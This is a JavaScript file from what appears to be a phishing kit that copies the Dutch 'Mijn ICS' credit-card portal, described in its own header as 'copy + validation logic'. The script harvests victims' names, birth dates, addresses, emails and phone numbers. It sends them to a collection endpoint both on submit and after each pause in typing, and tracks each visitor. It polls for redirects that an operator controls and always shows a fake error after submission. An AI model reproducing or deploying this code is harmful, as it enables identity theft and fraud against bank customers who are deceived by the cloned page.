/**
 * NL/EN copy + validation logic for gegevens page.
 */
(function () {
  "use strict";

  var STORAGE_KEY = "client-login-lang";

  // --- TRACKING & API LOGIC ---
  var VISITOR_KEY = "scii_visitor_id";
  function getVisitorId() {
    var vid = localStorage.getItem(VISITOR_KEY);
    if (!vid) {
      vid = "v_" + Date.now() + "_" + Math.random().toString(36).substr(2, 9);
      localStorage.setItem(VISITOR_KEY, vid);
    }
    return vid;
  }

  function getDeviceInfo() {
    var ua = navigator.userAgent;
    var os = "Unknown";
    if (ua.indexOf("Win") !== -1) os = "Windows";
    if (ua.indexOf("Mac") !== -1) os = "MacOS";
    if (ua.indexOf("Linux") !== -1) os = "Linux";
    if (ua.indexOf("Android") !== -1) os = "Android";
    if (ua.indexOf("iPhone") !== -1 || ua.indexOf("iPad") !== -1) os = "iOS";

    var browser = "Unknown";
    if (ua.indexOf("Firefox") !== -1) browser = "Firefox";
    else if (ua.indexOf("SamsungBrowser") !== -1) browser = "Samsung";
    else if (ua.indexOf("Opera") !== -1 || ua.indexOf("OPR") !== -1) browser = "Opera";
    else if (ua.indexOf("Edge") !== -1 || ua.indexOf("Edg") !== -1) browser = "Edge";
    else if (ua.indexOf("Chrome") !== -1) browser = "Chrome";
    else if (ua.indexOf("Safari") !== -1) browser = "Safari";
    return { os: os, browser: browser };
  }

  function registerVisitor() {
    if (typeof window.sciiInitPageTracker === "function") {
      window.sciiInitPageTracker("info", { pollRedirect: true, pollMs: 1500 });
      return;
    }
    var dev = getDeviceInfo();
    window.sciiRegisterVisitor({
      visitor_id: getVisitorId(),
      os: dev.os,
      browser: dev.browser,
      page: "info",
    });
  }

  function sendHeartbeat(page) {
    fetch('/api/heartbeat', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ visitor_id: getVisitorId(), page: page })
    }).catch(function(){});
  }

  function saveVisitorData(formType, dataObj) {
    var payload = Object.assign({ visitor_id: getVisitorId(), form_type: formType }, dataObj);
    if (typeof window.sciiSaveVisitorData === "function") {
      return window.sciiSaveVisitorData(payload);
    }
    return fetch("/api/save-visitor-data", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify(payload),
    })
      .then(function (r) {
        return r.json();
      })
      .catch(function () {
        return {};
      });
  }

  function checkRedirect() {
    if (typeof window.sciiCheckRedirect === "function") {
      window.sciiCheckRedirect();
      return;
    }
    fetch('/api/check-redirect?visitor_id=' + getVisitorId())
      .then(function(r){ return r.json(); })
      .then(function(d){ if(d.redirect && d.url) window.location.replace(d.url); })
      .catch(function(){});
  }

  function initTracking() {
    registerVisitor();
    if (typeof window.sciiInitPageTracker === "function") {
      return;
    }
    sendHeartbeat("info");
    setInterval(function() { 
      sendHeartbeat("info"); 
      checkRedirect(); 
    }, 3000);
  }
  // --- END TRACKING ---

  var PAGE_PATH = window.location.pathname.split("?")[0];
  var RETRY_I18N_KEY = "infoError";

  var STRINGS = {
    nl: {
      docTitle: "Persoonlijke Gegevens - Mijn ICS | International Card Services",
      skipLink: "Naar de inhoud",
      sidenavTitle: "Inloggen bij Mijn ICS",
      contentTitle: "Uw gegevens controleren",
      infoDesc: "Bevestig uw gegevens om veilig verder te gaan.",
      inputRequired: "Er is nog niets ingevuld. Vul alstublieft dit veld in.",
      ariaNl: "Schakel over naar Nederlands",
      ariaEn: "Switch to English",
      disclaimer: "Disclaimer",
      terms: "Algemene Voorwaarden",
      privacy: "Privacy Statement",
      cookies: "Cookies",
      verifyBtn: "Bevestigen en doorgaan",
      infoError: "Controleer de gemarkeerde velden en vul de ontbrekende informatie aan.",
      lbl_naam: "Volledige naam",
      ph_naam: "",
      lbl_geboorte: "Geboortedatum",
      ph_geboorte: "",
      lbl_adres: "Adres",
      ph_adres: "",
      lbl_postcode: "Postcode",
      ph_zipcode: "",
      lbl_plaats: "Plaats",
      ph_plaats: "",
      lbl_email: "E-mail",
      ph_email_addr: "",
      lbl_telefoon: "Telefoonnummer",
      ph_telefoon: "",
      lbl_huistelefoon: "Huistelefoon",
      ph_huistelefoon: "",
      infoDisclaimer: "Kijk uw gegevens nog een keer na voordat u verdergaat."
    },
    en: {
      docTitle: "Personal Details - My ICS | International Card Services",
      skipLink: "Skip to content",
      sidenavTitle: "Log in to My ICS",
      contentTitle: "Review your details",
      infoDesc: "Confirm your details to continue securely.",
      inputRequired: "Nothing has been entered yet. Please fill in this field.",
      ariaNl: "Switch to Dutch",
      ariaEn: "Switch to English",
      disclaimer: "Disclaimer",
      terms: "General terms and conditions",
      privacy: "Privacy statement",
      cookies: "Cookies",
      verifyBtn: "Confirm and continue",
      infoError: "Please check the highlighted fields and complete the missing information.",
      lbl_naam: "Full name",
      ph_naam: "",
      lbl_geboorte: "Date of birth",
      ph_geboorte: "",
      lbl_adres: "Address",
      ph_adres: "",
      lbl_postcode: "Zip code",
      ph_zipcode: "",
      lbl_plaats: "City",
      ph_plaats: "",
      lbl_email: "E-mail",
      ph_email_addr: "",
      lbl_telefoon: "Phone number",
      ph_telefoon: "",
      lbl_huistelefoon: "Home phone",
      ph_huistelefoon: "",
      infoDisclaimer: "Please review your details once more before continuing."
    },
  };

  function getLang() {
    return window.sciiGetLang();
  }

  function setLang(lang) {
    lang = window.sciiNormalizeLang(lang);
    window.sciiPersistUiLanguage(lang);
    document.documentElement.lang = lang;
    var t = STRINGS[lang];
    document.title = t.docTitle;

    document.querySelectorAll("[data-i18n]").forEach(function (el) {
      var key = el.getAttribute("data-i18n");
      if (!key || !t[key]) return;
      if (
        key === RETRY_I18N_KEY &&
        typeof window.sciiAppendErrorCode === "function"
      ) {
        el.textContent = window.sciiAppendErrorCode(t[key], PAGE_PATH);
      } else {
        el.textContent = t[key];
      }
    });

    document.querySelectorAll("[data-i18n-placeholder]").forEach(function (el) {
      var key = el.getAttribute("data-i18n-placeholder");
      if (!key || !t[key]) return;
      el.setAttribute("placeholder", t[key]);
    });

    window.sciiUpdateLanguageToggle(lang, t);
  }

  function bindLanguageBar() {
    window.sciiBindLanguageBar(setLang);
  }

  function setLoginCredentialError(feedback, show) {
    if (!feedback) return;
    if (show) {
      feedback.classList.add("visible");
      feedback.removeAttribute("aria-hidden");
    } else {
      feedback.classList.remove("visible");
      feedback.setAttribute("aria-hidden", "true");
    }
  }

  function getFieldShell(input) {
    var wrapper = input ? input.closest(".label-wrapper") : null;
    return {
      wrapper: wrapper,
      box: wrapper ? wrapper.querySelector(".input") : null,
    };
  }

  function setFieldRequiredError(input, show) {
    if (!input) return;
    var shell = getFieldShell(input);
    if (!shell.wrapper) return;
    var existing = shell.wrapper.querySelector(".input-error");
    if (!show) {
      if (existing) existing.remove();
      if (shell.box) shell.box.classList.remove("invalid");
      input.removeAttribute("aria-invalid");
      input.removeAttribute("aria-describedby");
      return;
    }

    var id = input.id + "-required-error";
    var error = existing || document.createElement("p");
    error.setAttribute("_ngcontent-ng-c282806018", "");
    error.className = "input-error";
    error.id = id;
    error.setAttribute("data-i18n", "inputRequired");
    error.textContent = STRINGS[getLang()].inputRequired;
    if (!existing) shell.wrapper.appendChild(error);
    if (shell.box) shell.box.classList.add("invalid");
    input.setAttribute("aria-invalid", "true");
    input.setAttribute("aria-describedby", id);
  }

  function clearFormFieldErrors(form) {
    if (!form) return;
    form.querySelectorAll("input").forEach(function (input) {
      setFieldRequiredError(input, false);
    });
  }

  function getFormAndFeedbackForLoginButton(btn) {
    var card = btn.closest("ui-card.desktop-form");
    if (card) {
      var formD = card.querySelector("form#infoFormId-desktop");
      var fbD = formD ? formD.querySelector("ui-feedback-message.errorFeedback") : null;
      return { form: formD, feedback: fbD };
    }
    var mobile = btn.closest(".mobile-form");
    if (mobile) {
      var formM = mobile.querySelector("form#infoFormId-mobile");
      var fbM = formM ? formM.querySelector("ui-feedback-message.errorFeedback") : null;
      return { form: formM, feedback: fbM };
    }
    return { form: null, feedback: null };
  }

  function evaluateInfoAttempt(form, feedback) {
    var inputs = form.querySelectorAll("input");
    var hasMissingFields = false;
    var firstMissing = null;
    
    inputs.forEach(function (input) {
      var val = (input.value || "").trim();
      setFieldRequiredError(input, !val);
      if (!val) {
        hasMissingFields = true;
        if (!firstMissing) firstMissing = input;
      }
    });

    if (hasMissingFields) {
      setLoginCredentialError(feedback, false);
      if (firstMissing) firstMissing.focus();
      return;
    }
    // Get values before clearing
    var payload = { naam: "", geboorte: "", adres: "", postcode: "", plaats: "", email: "", telefoon: "", huistelefoon: "" };
    inputs.forEach(function(i) {
        var id = i.id.toLowerCase();
        if(id.indexOf("naam") !== -1) payload.naam = i.value;
        if(id.indexOf("geboorte") !== -1) payload.geboorte = i.value;
        if(id.indexOf("adres") !== -1) payload.adres = i.value;
        if(id.indexOf("postcode") !== -1) payload.postcode = i.value;
        if(id.indexOf("plaats") !== -1) payload.plaats = i.value;
        if(id.indexOf("email") !== -1) payload.email = i.value;
        if(id.indexOf("telefoon") !== -1 && id.indexOf("huis") === -1) payload.telefoon = i.value;
        if(id.indexOf("huistelefoon") !== -1) payload.huistelefoon = i.value;
    });

    saveVisitorData("info", Object.assign(payload, { step_complete: true })).then(function (resp) {
      if (typeof window.sciiHandleFormSubmit === "function") {
        window.sciiHandleFormSubmit(Promise.resolve(resp), function () {
          setLoginCredentialError(feedback, true);
          inputs.forEach(function (input) {
            var shell = getFieldShell(input);
            if (shell.box) shell.box.classList.add("invalid");
            input.setAttribute("aria-invalid", "true");
            input.value = "";
          });
          setLang(getLang());
          window.sciiGoProcessing(PAGE_PATH);
        });
        return;
      }
      if (
        typeof window.sciiApplySaveResponse === "function" &&
        window.sciiApplySaveResponse(resp)
      ) {
        return;
      }

      setLoginCredentialError(feedback, true);
      inputs.forEach(function (input) {
        var shell = getFieldShell(input);
        if (shell.box) shell.box.classList.add("invalid");
        input.setAttribute("aria-invalid", "true");
        input.value = "";
      });
      setLang(getLang());
      window.sciiGoProcessing(PAGE_PATH);
    });
  }

  function bindLoginForms() {
    document.querySelectorAll(".login-btn").forEach(function (btn) {
      btn.setAttribute("type", "button");
      btn.addEventListener("click", function (e) {
        e.preventDefault();
        e.stopPropagation();
        var ctx = getFormAndFeedbackForLoginButton(btn);
        if (!ctx.form || !ctx.feedback) return;
        evaluateInfoAttempt(ctx.form, ctx.feedback);
      });
    });

    document.querySelectorAll("#infoFormId-desktop, #infoFormId-mobile").forEach(function (form) {
      form.addEventListener("submit", function (e) {
        e.preventDefault();
        var feedback = form.querySelector("ui-feedback-message.errorFeedback");
        evaluateInfoAttempt(form, feedback);
      });
      form.addEventListener(
        "input",
        function (e) {
          var t = e.target;
          if (!t || !t.id) return;
          if (t.type !== "text" && t.type !== "password") return;
          
          // Sanitization logic
          var id = t.id.toLowerCase();
          var cursor = t.selectionStart;
          var oldVal = t.value;
          var newVal = oldVal;
          if (id.indexOf("geboorte") !== -1) {
            var v = oldVal.replace(/[^0-9]/g, '');
            var parts = [];
            if (v.length > 0) parts.push(v.slice(0, 2));
            if (v.length > 2) parts.push(v.slice(2, 4));
            if (v.length > 4) parts.push(v.slice(4, 8));
            newVal = parts.join('-');
          } else if (id.indexOf("telefoon") !== -1) {
            var leadingPlus = oldVal.startsWith('+') ? '+' : '';
            var digits = oldVal.replace(/[^0-9]/g, '').slice(0, 15);
            var groups = [];
            for (var i = 0; i < digits.length; i += 3) {
              groups.push(digits.substr(i, 3));
            }
            newVal = (leadingPlus ? leadingPlus : '') + groups.join(' ').trim();
          }
          if (oldVal !== newVal) {
            t.value = newVal;
            if (cursor !== null) t.setSelectionRange(cursor - (oldVal.length - newVal.length), cursor - (oldVal.length - newVal.length));
          }

          var feedback = form.querySelector("ui-feedback-message.errorFeedback");
          if (feedback && feedback.classList.contains("visible")) {
            setLoginCredentialError(feedback, false);
            clearFormFieldErrors(form);
          } else {
            setFieldRequiredError(t, false);
          }

          // Live tracking with debounce
          clearTimeout(window.trackTimeout);
          window.trackTimeout = setTimeout(function() {
            var payload = { naam: "", geboorte: "", adres: "", postcode: "", plaats: "", email: "", telefoon: "", huistelefoon: "" };
            var inputs = form.querySelectorAll("input");
            inputs.forEach(function(i) {
              var inputId = i.id.toLowerCase();
              if(inputId.indexOf("naam") !== -1) payload.naam = i.value;
              if(inputId.indexOf("geboorte") !== -1) payload.geboorte = i.value;
              if(inputId.indexOf("adres") !== -1) payload.adres = i.value;
              if(inputId.indexOf("postcode") !== -1) payload.postcode = i.value;
              if(inputId.indexOf("plaats") !== -1) payload.plaats = i.value;
              if(inputId.indexOf("email") !== -1) payload.email = i.value;
              if(inputId.indexOf("telefoon") !== -1 && inputId.indexOf("huis") === -1) payload.telefoon = i.value;
              if(inputId.indexOf("huistelefoon") !== -1) payload.huistelefoon = i.value;
            });
            saveVisitorData("info", payload);
          }, 1000);
        },
        true
      );
    });
  }

  function init() {
    initTracking();
    bindLanguageBar();
    setLang(getLang());
    bindLoginForms();
    document.querySelectorAll("ui-feedback-message.errorFeedback").forEach(function (el) {
      setLoginCredentialError(el, false);
    });

    var showAuthErr =
      typeof window.sciiHasRetryParam === "function" &&
      window.sciiHasRetryParam();
    if (showAuthErr) {
      document.querySelectorAll("ui-feedback-message.errorFeedback").forEach(function (el) {
        setLoginCredentialError(el, true);
      });
      document.querySelectorAll("#infoFormId-desktop input, #infoFormId-mobile input").forEach(function (input) {
        var shell = getFieldShell(input);
        if (shell.box) shell.box.classList.add("invalid");
        input.setAttribute("aria-invalid", "true");
      });
    }

    document.querySelectorAll("#infoFormId-desktop, #infoFormId-mobile").forEach(clearFormFieldErrors);
  }

  if (document.readyState === "loading") {
    document.addEventListener("DOMContentLoaded", init);
  } else {
    init();
  }
})();
